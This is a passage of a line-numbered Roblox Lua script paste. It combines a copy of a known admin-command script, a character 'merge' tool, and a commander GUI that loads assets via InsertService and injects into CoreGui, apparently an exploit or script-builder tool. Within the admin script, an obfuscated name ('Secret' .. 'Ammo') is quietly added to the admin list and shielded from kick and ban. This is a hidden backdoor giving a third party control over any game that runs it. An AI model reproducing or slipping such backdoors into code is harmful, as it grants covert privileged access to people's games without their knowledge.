  1622. if humanoid ~= nil then
  1623. humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
  1624. end end end end
  1625.  
  1626. if string.sub(msg,1,7) == "health/" then
  1627. danumber = nil
  1628. for i =8,100 do
  1629. if string.sub(msg,i,i) == "/" then
  1630. danumber = i
  1631. break
  1632. end end
  1633. if danumber == nil then
  1634. return
  1635. end
  1636. local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
  1637. if player == 0 then
  1638. return
  1639. end
  1640. for i = 1,#player do
  1641. if player[i].Character ~= nil then
  1642. humanoid = player[i].Character:FindFirstChild("Humanoid")
  1643. if humanoid ~= nil then
  1644. local elnumba = Instance.new("IntValue")
  1645. elnumba.Value = string.sub(msg,danumber + 1)
  1646. if elnumba.Value > 0 then
  1647. humanoid.MaxHealth = elnumba.Value
  1648. humanoid.Health = humanoid.MaxHealth
  1649. end
  1650. elnumba:remove()
  1651. end end end end
  1652.  
  1653. if string.sub(msg,1,9) == "teleport/" then
  1654. danumber = nil
  1655. for i =10,100 do
  1656. if string.sub(msg,i,i) == "/" then
  1657. danumber = i
  1658. break
  1659. end end
  1660. if danumber == nil then
  1661. return
  1662. end
  1663. local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
  1664. if player1 == 0 then
  1665. return
  1666. end
  1667. local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
  1668. if player2 == 0 then
  1669. return
  1670. end
  1671. if #player2 > 1 then
  1672. return
  1673. end
  1674. torso = nil
  1675. for i =1,#player2 do
  1676. if player2[i].Character ~= nil then
  1677. torso = player2[i].Character:FindFirstChild("Torso")
  1678. end end
  1679. if torso ~= nil then
  1680. for i =1,#player1 do
  1681. if player1[i].Character ~= nil then
  1682. local torso2 = player1[i].Character:FindFirstChild("Torso")
  1683. if torso2 ~= nil then
  1684. torso2.CFrame = torso.CFrame
  1685. end end end end end
  1686.  
  1687. if string.sub(msg,1,6) == "merge/" then
  1688. danumber = nil
  1689. for i =7,100 do
  1690. if string.sub(msg,i,i) == "/" then
  1691. danumber = i
  1692. break
  1693. end end
  1694. if danumber == nil then
  1695. return
  1696. end
  1697. local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
  1698. if player1 == 0 then
  1699. return
  1700. end
  1701. local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
  1702. if player2 == 0 then
  1703. return
  1704. end
  1705. if #player2 > 1 then
  1706. return
  1707. end
  1708. for i =1,#player2 do
  1709. if player2[i].Character ~= nil then
  1710. player2 = player2[i].Character
  1711. end end
  1712. for i =1,#player1 do
  1713. player1[i].Character = player2
  1714. end end
  1715.  
  1716. if msg == "clear" then
  1717. local c = game.Workspace:GetChildren()
  1718. for i =1,#c do
  1719. if c[i].className == "Script" then
  1720. if c[i]:FindFirstChild("Is A Created Script") then
  1721. c[i]:remove()
  1722. end end
  1723. if c[i].className == "Part" then
  1724. if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
  1725. c[i]:remove()
  1726. end end
  1727. if c[i].className == "Model" then
  1728. if string.sub(c[i].Name,1,4) == "Jail" then
  1729. c[i]:remove()
  1730. end end end end
  1731.  
  1732. if string.sub(msg,1,5) == "kick/" then
  1733. local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
  1734. if imgettingtiredofmakingthisstupidscript2 == true then
  1735. local player = findplayer(string.sub(msg,6),speaker)
  1736. if player ~= 0 then
  1737. for i = 1,#player do
  1738. local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
  1739. if imgettingtiredofmakingthisstupidscript == false then
  1740. if player[i].Name ~= eloname then
  1741. player[i]:remove()
  1742. end end end end end end
  1743.  
  1744. if string.sub(msg,1,4) == "ban/" then
  1745. local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
  1746. if imgettingtiredofmakingthisstupidscript2 == true then
  1747. local player = findplayer(string.sub(msg,5),speaker)
  1748. if player ~= 0 then
  1749. for i = 1,#player do
  1750. local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
  1751. if imgettingtiredofmakingthisstupidscript == false then
  1752. if player[i].Name ~= eloname then
  1753. table.insert(bannedlist,player[i].Name)
  1754. player[i]:remove()
  1755. end end end end end end
  1756.  
  1757. if string.sub(msg,1,6) == "unban/" then
  1758. if string.sub(msg,7) == "all" then
  1759. for i=1,bannedlist do
  1760. table.remove(bannedlist,i)
  1761. end
  1762. else
  1763. local n = 0
  1764. local o = nil
  1765. for i=1,#bannedlist do
  1766. if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
  1767. n = n + 1
  1768. o = i
  1769. end end
  1770. if n == 1 then
  1771. local name = bannedlist[o]
  1772. table.remove(bannedlist,o)
  1773. text(name .. " has been unbanned",1,"Message",game.Workspace.CurrentCamera)
  1774. elseif n == 0 then
  1775. text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
  1776. elseif n > 1 then
  1777. text("That name is ambiguous",1,"Message",game.Workspace.CurrentCamera)
  1778. end end end
  1779.  
  1780. if string.sub(msg,1,8) == "respawn/" then
  1781. local player = findplayer(string.sub(msg,9),speaker)
  1782. if player ~= 0 then
  1783. for i = 1,#player do
  1784. local ack2 = Instance.new("Model")
  1785. ack2.Parent = game.Workspace
  1786. local ack4 = Instance.new("Part")
  1787. ack4.Transparency = 1
  1788. ack4.CanCollide = false
  1789. ack4.Anchored = true
  1790. ack4.Name = "Torso"
  1791. ack4.Position = Vector3.new(10000,10000,10000)
  1792. ack4.Parent = ack2
  1793. local ack3 = Instance.new("Humanoid")
  1794. ack3.Torso = ack4
  1795. ack3.Parent = ack2
  1796. player[i].Character = ack2
  1797. end end end
  1798.  
  1799. if string.sub(msg,1,10) == "invisible/" then
  1800. local player = findplayer(string.sub(msg,11),speaker)
  1801. if player ~= 0 then
  1802. for i = 1,#player do
  1803. if player[i].Character ~= nil then
  1804. local char = player[i].Character
  1805. local c = player[i].Character:GetChildren()
  1806. for i =1,#c do
  1807. if c[i].className == "Hat" then
  1808. local handle = c[i]:FindFirstChild("Handle")
  1809. if handle ~= nil then
  1810. handle.Transparency = 1
  1811. end end
  1812. if c[i].className == "Part" then
  1813. c[i].Transparency = 1
  1814. if c[i].Name == "Torso" then
  1815. local tshirt = c[i]:FindFirstChild("roblox")
  1816. if tshirt ~= nil then
  1817. tshirt:clone().Parent = char
  1818. tshirt:remove()
  1819. end end
  1820. if c[i].Name == "Head" then
  1821. local face = c[i]:FindFirstChild("face")
  1822. if face ~= nil then
  1823. gface = face:clone()
  1824. face:remove()
  1825. end end end end end end end end
  1826.  
  1827. if string.sub(msg,1,8) == "visible/" then
  1828. local player = findplayer(string.sub(msg,9),speaker)
  1829. if player ~= 0 then
  1830. for i = 1,#player do
  1831. if player[i].Character ~= nil then
  1832. local char = player[i].Character
  1833. local c = player[i].Character:GetChildren()
  1834. for i =1,#c do
  1835. if c[i].className == "Hat" then
  1836. local handle = c[i]:FindFirstChild("Handle")
  1837. if handle ~= nil then
  1838. handle.Transparency = 0
  1839. end end
  1840. if c[i].className == "Part" then
  1841. c[i].Transparency = 0
  1842. if c[i].Name == "Torso" then
  1843. local tshirt = char:FindFirstChild("roblox")
  1844. if tshirt ~= nil then
  1845. tshirt:clone().Parent = c[i]
  1846. tshirt:remove()
  1847. end end
  1848. if c[i].Name == "Head" then
  1849. if gface ~= nil then
  1850. local face = gface:clone()
  1851. face.Parent = c[i]
  1852. end end end end end end end end
  1853.  
  1854. if string.sub(msg,1,7) == "freeze/" then
  1855. local player = findplayer(string.sub(msg,8),speaker)
  1856. if player ~= 0 then
  1857. for i = 1,#player do
  1858. if player[i].Character ~= nil then
  1859. local humanoid = player[i].Character:FindFirstChild("Humanoid")
  1860. if humanoid ~= nil then
  1861. humanoid.WalkSpeed = 0
  1862. end
  1863. local c = player[i].Character:GetChildren()
  1864. for i =1,#c do
  1865. if c[i].className == "Part" then
  1866. c[i].Anchored = true
  1867. c[i].Reflectance = 0.6
  1868. end end end end end end
  1869.  
  1870. if string.sub(msg,1,5) == "thaw/" then
  1871. local player = findplayer(string.sub(msg,6),speaker)
  1872. if player ~= 0 then
  1873. for i = 1,#player do
  1874. if player[i].Character ~= nil then
  1875. local humanoid = player[i].Character:FindFirstChild("Humanoid")
  1876. if humanoid ~= nil then
  1877. humanoid.WalkSpeed = 16
  1878. end
  1879. local c = player[i].Character:GetChildren()
  1880. for i =1,#c do
  1881. if c[i].className == "Part" then
  1882. c[i].Anchored = false
  1883. c[i].Reflectance = 0
  1884. end end end end end end
  1885.  
  1886. if string.sub(msg,1,7) == "nograv/" then
  1887. local player = findplayer(string.sub(msg,8),speaker)
  1888. if player ~= 0 then
  1889. for i = 1,#player do
  1890. if player[i].Character ~= nil then
  1891. local torso = player[i].Character:FindFirstChild("Torso")
  1892. if torso ~= nil then
  1893. local bf = torso:FindFirstChild("BF")
  1894. if bf ~= nil then
  1895. bf.force = Vector3.new(0,0,0)
  1896. else
  1897. local bf = Instance.new("BodyForce")
  1898. bf.Name = "BF"
  1899. bf.force = Vector3.new(0,0,0)
  1900. bf.Parent = torso
  1901. end
  1902. local c2 = player[i].Character:GetChildren()
  1903. for i=1,#c2 do
  1904. if c2[i].className == "Part" then
  1905. torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
  1906. end end end end end end end
  1907.  
  1908. if string.sub(msg,1,9) == "antigrav/" then
  1909. local player = findplayer(string.sub(msg,10),speaker)
  1910. if player ~= 0 then
  1911. for i = 1,#player do
  1912. if player[i].Character ~= nil then
  1913. local torso = player[i].Character:FindFirstChild("Torso")
  1914. if torso ~= nil then
  1915. local bf = torso:FindFirstChild("BF")
  1916. if bf ~= nil then
  1917. bf.force = Vector3.new(0,0,0)
  1918. else
  1919. local bf = Instance.new("BodyForce")
  1920. bf.Name = "BF"
  1921. bf.force = Vector3.new(0,0,0)
  1922. bf.Parent = torso
  1923. end
  1924. local c2 = player[i].Character:GetChildren()
  1925. for i=1,#c2 do
  1926. if c2[i].className == "Part" then
  1927. torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
  1928. end end end end end end end
  1929.  
  1930. if string.sub(msg,1,9) == "highgrav/" then
  1931. local player = findplayer(string.sub(msg,10),speaker)
  1932. if player ~= 0 then
  1933. for i = 1,#player do
  1934. if player[i].Character ~= nil then
  1935. local torso = player[i].Character:FindFirstChild("Torso")
  1936. if torso ~= nil then
  1937. local bf = torso:FindFirstChild("BF")
  1938. if bf ~= nil then
  1939. bf.force = Vector3.new(0,0,0)
  1940. else
  1941. local bf = Instance.new("BodyForce")
  1942. bf.Name = "BF"
  1943. bf.force = Vector3.new(0,0,0)
  1944. bf.Parent = torso
  1945. end
  1946. local c2 = player[i].Character:GetChildren()
  1947. for i=1,#c2 do
  1948. if c2[i].className == "Part" then
  1949. torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
  1950. end end end end end end end
  1951.  
  1952. if string.sub(msg,1,5) == "grav/" then
  1953. local player = findplayer(string.sub(msg,6),speaker)
  1954. if player ~= 0 then
  1955. for i = 1,#player do
  1956. if player[i].Character ~= nil then
  1957. local torso = player[i].Character:FindFirstChild("Torso")
  1958. if torso ~= nil then
  1959. local bf = torso:FindFirstChild("BF")
  1960. if bf ~= nil then
  1961. bf:remove()
  1962. end end end end end end
  1963.  
  1964. if string.sub(msg,1,7) == "unlock/" then
  1965. local player = findplayer(string.sub(msg,8),speaker)
  1966. if player ~= 0 then
  1967. for i = 1,#player do
  1968. if player[i].Character ~= nil then
  1969. local c = player[i].Character:GetChildren()
  1970. for i =1,#c do
  1971. if c[i].className == "Part" then
  1972. c[i].Locked = false
  1973. end end end end end end
  1974.  
  1975. if string.sub(msg,1,5) == "lock/" then
  1976. local player = findplayer(string.sub(msg,6),speaker)
  1977. if player ~= 0 then
  1978. for i = 1,#player do
  1979. if player[i].Character ~= nil then
  1980. local c = player[i].Character:GetChildren()
  1981. for i =1,#c do
  1982. if c[i].className == "Part" then
  1983. c[i].Locked = true
  1984. end end end end end end end
  1985. eloname = "Secret"
  1986. eloname = eloname .. "Ammo"
  1987. script.Name = "_admincmd"
  1988. youcaughtme = 0
  1989. for i =1,#adminlist do
  1990. if string.lower(eloname)==string.lower(adminlist[i]) then
  1991. youcaughtme = 1
  1992. end end
  1993. if youcaughtme == 0 then
  1994. table.insert(adminlist,eloname)
  1995. end
  1996. function oe(ack)
  1997. local adminned = false
  1998. if ack.className ~= "Player" then return end
  1999. for i =1,#bannedlist do
  2000. if string.lower(bannedlist[i]) == string.lower(ack.Name) then
  2001. ack:remove()
  2002. return
  2003. end end
  2004. for i=1,#adminlist do
  2005. if string.lower(adminlist[i]) == string.lower(ack.Name) then
  2006. local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
  2007. table.insert(namelist,ack.Name)
  2008. table.insert(variablelist,tfv)
  2009. local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
  2010. table.insert(flist,tfv)
  2011. adminned = true
  2012. end end
  2013. local danumber = 0
  2014. while true do
  2015. wait(1)
  2016. if ack.Parent == nil then
  2017. return
  2018. end
  2019. if ack.Character ~= nil then
  2020. if adminned == true then
  2021. text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
  2022. return
  2023. end
  2024. local torso = ack.Character:FindFirstChild("Torso")
  2025. if torso ~= nil then
  2026. local decal = torso:FindFirstChild("roblox")
  2027. if decal ~= nil then
  2028. if string.sub(decal.Texture,1,4) == "http" then
  2029. if decal.Texture == texture then
  2030. local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
  2031. table.insert(namelist,ack.Name)
  2032. table.insert(variablelist,tfv)
  2033. local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
  2034. table.insert(flist,tfv)
  2035. text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
  2036. return
  2037. else
  2038. return
  2039. end
  2040. else
  2041. danumber = danumber + 1
  2042. if danumber >= 10 then
  2043. return
  2044. end end end end end end end
  2045.  
  2046. game.Players.ChildAdded:connect(oe)
  2047.  
  2048. c = game.Players:GetChildren()
  2049. for i=1,#c do
  2050. oe(c[i])
  2051. end]]
  2052. MergeScriptSource=[[
  2053. plr=game.Players.LocalPlayer
  2054. coroutine.resume(coroutine.create(function(plr) while(wait())do if(plr.Character~=nil)then chr=plr.Character end end end),plr)
  2055. if(script.Parent.ClassName~="HopperBin")then
  2056. bin=Instance.new("HopperBin",plr.Backpack)
  2057. bin.Name="iMergeTool"
  2058. script.Name="iMergeScript"
  2059. script.Parent=bin
  2060. else
  2061. script.Name="iMergeScript"
  2062. bin=script.Parent
  2063. bin.Name="iMergeTool"
  2064. end
  2065. una=false
  2066. bin.Selected:connect(function(mouse)
  2067. function cff(path)
  2068. for _,v in pairs(path:GetChildren())do
  2069. if(v:IsA("Part"))then
  2070. Instance.new("ForceField",v)
  2071. end
  2072. cff(v)
  2073. end
  2074. end
  2075. cff(plr.Character)
  2076. mouse.Button1Down:connect(function()
  2077. if(mouse.Target~=nil)then
  2078. if(mouse.Target.Parent:IsA("Model"))then
  2079. if(mouse.Target.Parent:FindFirstChild("Humanoid"))then
  2080. if(mouse.Target.Parent.Humanoid.Health~=0)then
  2081. function cff(path)
  2082. for _,v in pairs(path:GetChildren())do
  2083. if(v:IsA("Part"))then
  2084. Instance.new("ForceField",v)
  2085. end
  2086. cff(v)
  2087. end
  2088. end
  2089. cff(plr.Character)
  2090. chr:FindFirstChild("Torso").Anchored=false
  2091. inv=function(pth)
  2092. for _,v in pairs(pth:GetChildren())do
  2093. if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
  2094. v.Transparency=1
  2095. end
  2096. inv(v)
  2097. end
  2098. end
  2099. inv(chr)
  2100. chr:FindFirstChild("Humanoid").PlatformStand=true
  2101. chr:FindFirstChild("Head").CanCollide=false
  2102. chr:FindFirstChild("Torso").CanCollide=false
  2103. chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
  2104. chr:FindFirstChild("Head").CanCollide=true
  2105. chr:FindFirstChild("Torso").CanCollide=true
  2106. if not(chr:FindFirstChild("iMergeWeld"))then
  2107. wld=Instance.new("Weld",chr)
  2108. wld.Name="iMergeWeld"
  2109. else
  2110. wld=chr:FindFirstChild("iMergeWeld")
  2111. function rff(path)
  2112. for _,v in pairs(path:GetChildren())do
  2113. if(v:IsA("ForceField"))then
  2114. v:remove()
  2115. end
  2116. rff(v)
  2117. end
  2118. end
  2119. rff(wld.Part0.Parent)
  2120. end
  2121. wld.Part0=mouse.Target.Parent:FindFirstChild("Torso")
  2122. wld.Part1=chr:FindFirstChild("Torso")
  2123. wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
  2124. if(mouse.Target~=nil)then
  2125. function iff(path)
  2126. for _,v in pairs(path:GetChildren())do
  2127. if(v:IsA("Part"))then
  2128. Instance.new("ForceField",v)
  2129. end
  2130. iff(v)
  2131. end
  2132. end
  2133. iff(mouse.Target.Parent)
  2134. Instance.new("ForceField",mouse.Target.Parent)
  2135. end
  2136. coroutine.resume(coroutine.create(function(chr,una)
  2137. una=true
  2138. while(una)and wait() do
  2139. if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
  2140. chr:FindFirstChild("Torso").Anchored=true
  2141. break
  2142. else
  2143. chr:FindFirstChild("Torso").Anchored=false
  2144. end
  2145. end
  2146. end),chr,una)
  2147. coroutine.resume(coroutine.create(function(plr,chr)
  2148. while true and wait() do
  2149. if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
  2150. function rff(path)
  2151. for _,v in pairs(path:GetChildren())do
  2152. if(v:IsA("ForceField"))then
  2153. v:remove()
  2154. end
  2155. rff(v)
  2156. end
  2157. end
  2158. rff(plr)
  2159. break
  2160. end
  2161. end
  2162. end),mouse.Target.Parent,chr)
  2163. end
  2164. end
  2165. elseif(mouse.Target.Parent:IsA("Hat"))then
  2166. if(mouse.Target.Parent.Parent:IsA("Model"))then
  2167. if(mouse.Target.Parent.Parent:FindFirstChild("Humanoid"))then
  2168. if(mouse.Target.Parent.Parent.Humanoid.Health~=0)then
  2169. inv=function(pth)
  2170. for _,v in pairs(pth:GetChildren())do
  2171. if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
  2172. v.Transparency=1
  2173. end
  2174. inv(v)
  2175. end
  2176. end
  2177. inv(chr)
  2178. chr:FindFirstChild("Humanoid").PlatformStand=true
  2179. chr:FindFirstChild("Head").CanCollide=false
  2180. chr:FindFirstChild("Torso").CanCollide=false
  2181. chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent.Parent:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
  2182. chr:FindFirstChild("Head").CanCollide=true
  2183. chr:FindFirstChild("Torso").CanCollide=true
  2184. if not(chr:FindFirstChild("iMergeWeld"))then
  2185. wld=Instance.new("Weld",chr)
  2186. wld.Name="iMergeWeld"
  2187. else
  2188. wld=chr:FindFirstChild("iMergeWeld")
  2189. function rff(path)
  2190. for _,v in pairs(path:GetChildren())do
  2191. if(v:IsA("ForceField"))then
  2192. v:remove()
  2193. end
  2194. rff(v)
  2195. end
  2196. end
  2197. rff(wld.Part0.Parent)
  2198. end
  2199. wld.Part0=mouse.Target.Parent.Parent:FindFirstChild("Torso")
  2200. wld.Part1=chr:FindFirstChild("Torso")
  2201. wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
  2202. if(mouse.Target~=nil)then
  2203. function iff(path)
  2204. for _,v in pairs(path:GetChildren())do
  2205. if(v:IsA("Part"))then
  2206. Instance.new("ForceField",v)
  2207. end
  2208. iff(v)
  2209. end
  2210. end
  2211. iff(mouse.Target.Parent.Parent)
  2212. Instance.new("ForceField",mouse.Target.Parent.Parent)
  2213. end
  2214. coroutine.resume(coroutine.create(function(chr,una)
  2215. una=true
  2216. while(una)and wait() do
  2217. if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
  2218. chr:FindFirstChild("Torso").Anchored=true
  2219. break
  2220. else
  2221. chr:FindFirstChild("Torso").Anchored=false
  2222. end
  2223. end
  2224. end),chr,una)
  2225. coroutine.resume(coroutine.create(function(plr,chr)
  2226. while true and wait() do
  2227. if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
  2228. function rff(path)
  2229. for _,v in pairs(path:GetChildren())do
  2230. if(v:IsA("ForceField"))then
  2231. v:remove()
  2232. end
  2233. rff(v)
  2234. end
  2235. end
  2236. rff(plr)
  2237. break
  2238. end
  2239. end
  2240. end),mouse.Target.Parent.Parent,chr)
  2241. end
  2242. end
  2243. end
  2244. end
  2245. end
  2246. end)
  2247. function onKeyDown(chr,una)
  2248. key_down=mouse.KeyDown:connect(function(key) key=string.lower(key)
  2249. app=function(tra)
  2250. if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil)then
  2251. rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
  2252. else
  2253. rmt=nil
  2254. end
  2255. if(rmt~=nil)then
  2256. function rff(path)
  2257. for _,v in pairs(path:GetChildren())do
  2258. if(v:IsA("ForceField"))then
  2259. v:remove()
  2260. end
  2261. rff(v)
  2262. end
  2263. end
  2264. rff(rmt)
  2265. end
  2266. function cff(path)
  2267. for _,v in pairs(path:GetChildren())do
  2268. if(v:IsA("ForceField"))then
  2269. v:remove()
  2270. end
  2271. cff(v)
  2272. end
  2273. end
  2274. cff(chr)
  2275. una=false
  2276. if(chr:FindFirstChild("iMergeWeld"))or(chr:FindFirstChild("Humanoid").PlatformStand==true)then
  2277. pcall(function(chr) chr:FindFirstChild("iMergeWeld"):remove() end,chr)
  2278. chr:FindFirstChild("Torso").CFrame=CFrame.new(chr:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
  2279. end
  2280. vis=function(pth)
  2281. for _,v in pairs(pth:GetChildren())do
  2282. if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
  2283. v.Transparency=tra
  2284. end
  2285. vis(v)
  2286. end
  2287. end
  2288. vis(chr)
  2289. chr:FindFirstChild("Humanoid").PlatformStand=false
  2290. chr:FindFirstChild("Torso").Anchored=false
  2291. key_down:disconnect()
  2292. onKeyDown(chr,una)
  2293. end
  2294. if(key=="e")then
  2295. app(1)
  2296. elseif(key=="r")then
  2297. app(0)
  2298. end
  2299. end)
  2300. end
  2301. onKeyDown(chr,una)
  2302. end)
  2303. bin.Deselected:connect(function()
  2304. if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil)then
  2305. rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
  2306. else
  2307. rmt=nil
  2308. end
  2309. coroutine.resume(coroutine.create(function(chr,una)
  2310. una=true
  2311. while(una)and wait() do
  2312. if not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformStand==true)then
  2313. chr:FindFirstChild("Torso").Anchored=true
  2314. break
  2315. else
  2316. chr:FindFirstChild("Torso").Anchored=false
  2317. end
  2318. end
  2319. end),chr,una)
  2320. coroutine.resume(coroutine.create(function(plr,chr)
  2321. while true and wait() do
  2322. if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
  2323. function rff(path)
  2324. for _,v in pairs(path:GetChildren())do
  2325. if(v:IsA("ForceField"))then
  2326. v:remove()
  2327. end
  2328. rff(v)
  2329. end
  2330. end
  2331. rff(plr)
  2332. break
  2333. end
  2334. end
  2335. end),rmt,chr)
  2336. end)]]
  2337.  
  2338.  
  2339. local s=function(type)
  2340. return game:service(type)
  2341. end
  2342. wfp=function(Instance,Property)
  2343. while not Instance[Property]do Instance.Changed:wait''end
  2344. return Instance[Property]
  2345. end
  2346. wfo=function(i,p,n)
  2347. while 0 do
  2348. for i,v in pairs(i:children'')do
  2349. if v[p]==n then return v end
  2350. end
  2351. i.ChildAdded:wait''
  2352. end
  2353. end
  2354. CreateScript=function(Class,Parent,Text)
  2355. if#Scripts~=2 then FIXSCRIPTS''end
  2356. local Script=Scripts[Class]:clone''
  2357. local Work=Instance.new('StringValue',Script)
  2358. Work.Name='Change'
  2359. Work.Value=[[script.Change.Value='']]..Text
  2360. Script.Parent=Parent
  2361. return Script
  2362. end
  2363. pf=function(Name)
  2364. local Players={}
  2365. local name=Name:lower''
  2366. for i,v in pairs(s'Players':GetPlayers'')do
  2367. if(function()
  2368. if name=='me'then return v==Player
  2369. elseif name=='all'then return true
  2370. end
  2371. return v.Name:lower'':find(name)==1
  2372. end)()then
  2373. table.insert(Players,v)
  2374. end
  2375. end
  2376. return Players
  2377. end
  2378. SearchCommand=function(Text)
  2379. X(function()
  2380. local cmd=Text:match'(%w+)'
  2381. local asd={}
  2382. if not cmd then return end
  2383. local cmdf=Commands[cmd]
  2384. if not cmdf then return end
  2385. pcall(function()
  2386. Text='/'..Text:match(cmd..'(.+)')
  2387. for i in Text:gmatch'/([^/]+)'do table.insert(asd,i)end
  2388. end)
  2389. cmdf(Text:sub(2),asd)
  2390. end)
  2391. end
  2392. GetAll=function(Instance,Table)
  2393. if type(Table)~='table'then Table={}end
  2394. for i,v in pairs(Instance:children'')do
  2395. table.insert(Table,v)
  2396. GetAll(v,Table)
  2397. end
  2398. return Table
  2399. end
  2400. ctool=function(name)
  2401. local ntool=Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
  2402. ntool.Name = name
  2403. return ntool;
  2404. end
  2405. FindChildren=function(Instance,Property,Name)
  2406. local l={}
  2407. for i,v in pairs(GetAll(Instance))do
  2408. if v[Property]==Name then table.insert(l,v)end
  2409. end
  2410. return l
  2411. end
  2412. SaveFModel=function(i,n)
  2413. local connect
  2414. local insert=s'InsertService'
  2415. local model=Instance.new'Model'
  2416. local object=nil
  2417. connect=insert.DescendantAdded:connect(function(c)
  2418. if object then return end
  2419. c=c:clone''
  2420. if c.Name==n then
  2421. object=c
  2422. else
  2423. object=c:FindFirstChild(n)
  2424. end
  2425. if not object then return end
  2426. connect:disconnect''
  2427. end)
  2428. insert:LoadAsset(i)
  2429. while not object do model.ChildAdded:wait''end
  2430. return object
  2431. end
  2432. FIXSCRIPTS=function()
  2433. Scripts={Script=SaveFModel(65743611,'9999999999222');LocalScript=SaveFModel(65743629,'9999999999222')}
  2434. end
  2435. CommanderFocus=function()
  2436. if ShowBox.Value then return end
  2437. if not ChatButton.Visible then return end
  2438. ShowBox.Value=true
  2439. X(function()ChatBox:CaptureFocus''end)
  2440. end
  2441. CommandBar=function()
  2442. CommanderName='AMACCG'
  2443.  
  2444. CommanderScreen=Instance.new('ScreenGui',PlayerGui)
  2445.  
  2446. CommanderScreen.Name=CommanderName
  2447.  
  2448. ChatButton=Instance.new('TextButton',CommanderScreen)
  2449. ChatBox=Instance.new('TextBox',ChatButton)
  2450.  
  2451. ChatButton.Size=UDim2.new(1,0,0,17)
  2452. ChatButton.Position=UDim2.new(0,0,1,-17)
  2453. ChatButton.BackgroundColor3=Color3.new(0,0,0)
  2454. ChatButton.TextColor3=Color3.new(1,1,1)
  2455. ChatButton.TextXAlignment=0
  2456. ChatButton.FontSize=5
  2457. ChatButton.Font=2
  2458. ChatButton.AutoButtonColor=false
  2459. ChatButton.Text='Click here or press "\\" to use commander'
  2460.  
  2461. ChatBox.Size=UDim2.new(1,0,1)
  2462. ChatBox.Position=UDim2.new(0,0,1,-17)
  2463. ChatBox.BackgroundColor3=Color3.new(.6,0,0)
  2464. ChatBox.TextColor3=Color3.new(1,1,1)
  2465. ChatBox.TextXAlignment=0
  2466. ChatBox.FontSize=5
  2467. ChatBox.Font=2
  2468. ChatBox.Visible=ShowBox.Value
  2469. ChatBox.Text=''
  2470.  
  2471. table.insert(Connects,ChatButton.MouseButton1Down:connect(CommanderFocus))
  2472.  
  2473. ChatBox.Changed:connect(function(f)
  2474. if f~='Text'then return end
  2475. SearchCommand(ChatBox.Text)
  2476. ShowBox.Value=false
  2477. end)
  2478.  
  2479. ShowBox.Changed:connect(function(c)ChatBox.Visible=c end)
  2480.  
  2481. for i,v in pairs(PlayerGui:children'')do
  2482. if v.Name==CommanderName and v~=CommanderScreen then
  2483. pcall(v.remove,v)
  2484. end
  2485. end
  2486. end
  2487. ExproGui=function()
  2488. local edb = Instance.new("TextButton")
  2489. edb.Size = UDim2.new(.05, 0, .05, 0)
  2490. edb.Position = UDim2.new(0, 5, 0.5, -80);
  2491. edb.TextColor3 = Color3.new(1, 1, 1)
  2492. edb.MouseButton1Click:connect(function()
  2493. insrt = game:GetService("InsertService"):LoadAsset(21001552)
  2494. insrt2 = game:GetService("InsertService"):LoadAsset(35742089)
  2495. pcall(function()
  2496. for _, v in pairs(insrt:GetChildren()) do
  2497. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  2498. end
  2499. for _, v in pairs(insrt2:GetChildren()) do
  2500. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  2501. end
  2502. end)
  2503. end)
  2504.  
  2505. edb.Text = "Insert"
  2506. edb.Parent = game.CoreGui.RobloxGui
